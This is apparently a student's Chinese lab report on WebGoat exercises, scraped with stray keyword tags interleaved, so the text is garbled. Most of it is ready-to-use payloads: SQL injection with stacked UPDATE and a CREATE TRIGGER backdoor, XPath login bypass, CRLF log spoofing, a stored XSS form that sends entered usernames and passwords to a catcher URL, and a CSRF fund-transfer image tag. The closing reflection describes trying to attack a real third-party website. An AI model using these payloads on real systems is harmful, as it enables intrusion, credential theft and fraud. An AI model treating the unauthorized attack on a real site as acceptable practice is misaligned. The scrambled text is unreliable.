四、發現mac也能夠作,就選用了mac;具體步驟與linux相符;java
一、使用「檢查」找到相應位置,修改代碼,任何在命令行中使用的命令均可以在這裏輸入;
node
二、攻擊成功:
linux
二、解決方法:使用WebScarab攔截髮布請求,並用101 or 1 = 1替換101!
web
三、截圖:sql
xzh%0d%0aLogin Succeeded for username: admin
String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml"); File d = new File(dir); XPathFactory factory = XPathFactory.newInstance(); XPath xPath = factory.newXPath(); InputSource inputSource = new InputSource(new FileInputStream(d)); String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password + "']"; nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
xzh ' or 1=1 or ''= '
expression = "/employees/employee[ ( loginID/text()='xzh' or '' ='') and ( passwd/text()='xzh' or ''='' ) ]"
' or 1=1 --
二、數據庫
三、這個好簡單,第一次啥也沒參考,一次成功;express
101 or 1=1 order by salary desc
因爲老闆的工資最高,最終排序出來的的一個就是老闆
瀏覽器
103 or 1=1
天然顯示出了第一個員工(larry)的信息;
安全
101; update employee set salary=5218
來修改工資;101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155218@qq.com' WHERE userid = NEW.userid
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);} </script> <form name="phish"><br><br><HR><H3> This feature requires account login:</H2><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"> <br><input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
三、打開時,跳出彈框;但xss毫不是僅僅是個彈框;
服務器
<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">
成功:
在此次實驗中,我一邊學習網站上的攻擊方式,一邊嘗試攻擊一個網站(故意加了一個基金討論羣,而後果不其然開始推銷他們的東西),可是很遺憾沒有攻擊進去,讓我有點意外,看來我仍是須要繼續學習。而且在作其中的一個實驗的時候,感受這些思路都差很少,就按照本身的思路去作,雖然沒成功,可是找到了失敗的緣由,也算是有收穫了。最後謝謝老師一學期的指導。